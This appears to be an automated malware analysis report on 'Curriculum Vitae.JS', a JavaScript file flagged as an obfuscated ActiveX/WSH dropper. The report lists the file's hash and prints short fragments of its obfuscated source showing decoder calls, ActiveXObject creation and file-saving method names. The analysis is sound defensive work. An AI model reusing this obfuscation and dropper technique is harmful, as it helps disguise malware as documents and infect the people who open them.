Hostile ^100% Download

Curriculum Vitae.JS

Obfuscated dropper with ActiveX execution

Layered JavaScript obfuscation hides a decoded WSH payload writeObfuscated WSH decodes, saves, and executes an embedded payload

SHA-256383f8a494cb379f40fa2bb72694c1eadb11ce3097906f098412f4a4202e26fb8

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeK(Mc)O₆(As₄CXe₂AlIS)H₅(Db₈F₂OsPo₃U)

Evidence

Computed call uses a decoder function lines 4762–4772

4762:34… WCFLVPLVVINF82296['fPBXF'](YOFHWCFLVPLVVINF19243, -0x1d7a + 0xc1c * -0x2 + -0x2 * -0x1b59);
4763  
4764
4765}
4766var YOFHWCFLVPLVVINFRQK = YOFHWCFLVPLVVINFVDD[YOFHWCFLVPLVVINF14676(0x20ef * 0x1 + -0x1c1c + -0x245, 0x9 * 0x12d + 0x1 * -0x395 + 0x3 * -0x13b, 0x21f4 + -0x2c * 0x52 + -0x11eb, -0x17 * -0x16b + -0x142d + -0xa05)]('&&')[YOFHWCFLVPLVVINF32925(0x270f + -0x969 + -0x74 * 0x3e)]('');
4767
4768function YOFHWCFLVPLVVINFCX(YOFHWCFLVPLVVINF20097) {
⋯4 lines

ActiveXObject constructor reference lines 4825–4838

4825:129… b + -0x1730 + -0x2ec4 * -0x1, 0x2 * -0x760 + 0x147 + 0x13b0, -0xce1 + 0x4 * 0x147 + 0xf1b);
4826  
4827
4828}
4829var YOFHWCFLVPLVVINFDLF = new ActiveXObject(YOFHWCFLVPLVVINFRQK);
4830
4831function YOFHWCFLVPLVVINFCX(YOFHWCFLVPLVVINF44236) {
⋯7 lines

WScript bracket-member access in source text lines 5291–5302

45… VVINF33614['OcRBv'](YOFHWCFLVPLVVINF25596, 0x3 * -0x7cd + 0x4c9 + 0x5d * 0x36);
  
  
}
  var YOFHWCFLVPLVVINFKKT = WScript[YOFHWCFLVPLVVINF32925(0x12ab + -0x221f + 0x14 * 0xd4)];

  function YOFHWCFLVPLVVINFCX(YOFHWCFLVPLVVINF83077) {
⋯5 lines

ADODB-compatible SaveToFile method token lines 18433–18441

83… 68, YOFHWCFLVPLVVINF70688, YOFHWCFLVPLVVINF72194);
    
      
  },
      'EEUQP': 'FileExists',
      'qECzl': 'SaveToFile',
      'BxCvS': function (YOFHWCFLVPLVVINF16287, YOFHWCFLVPLVVINF29863, YOFHWCFLVPLVVINF39681, YOFHWCFLVPLVVINF5431, YOFHWCFLVPLVVINF77263) {
    
          return YOFHWCFLVPLVVINF16287(YOFHWCFLVPLVVINF29863, YOFHWCFLVPLVVINF39681, YOFHWCFLVPLVV …

MSXML nodeTypedValue byte access lines 19614–19624

27… 
      'KYZol': 'W:tmm',
      'sitVW': 'W:YOFHWCFLVPLVVINFAQ\x20{kz},\x20YOFHWCFLVPLVVINFAQ/m128/b16',
      'pNniQ': 'nodeTypedValue',
      'SnRPm': 'RM&&T1S',
      'asYbK': 'YOFHWCFLVPLVVINFPPPPerelease',
⋯5 lines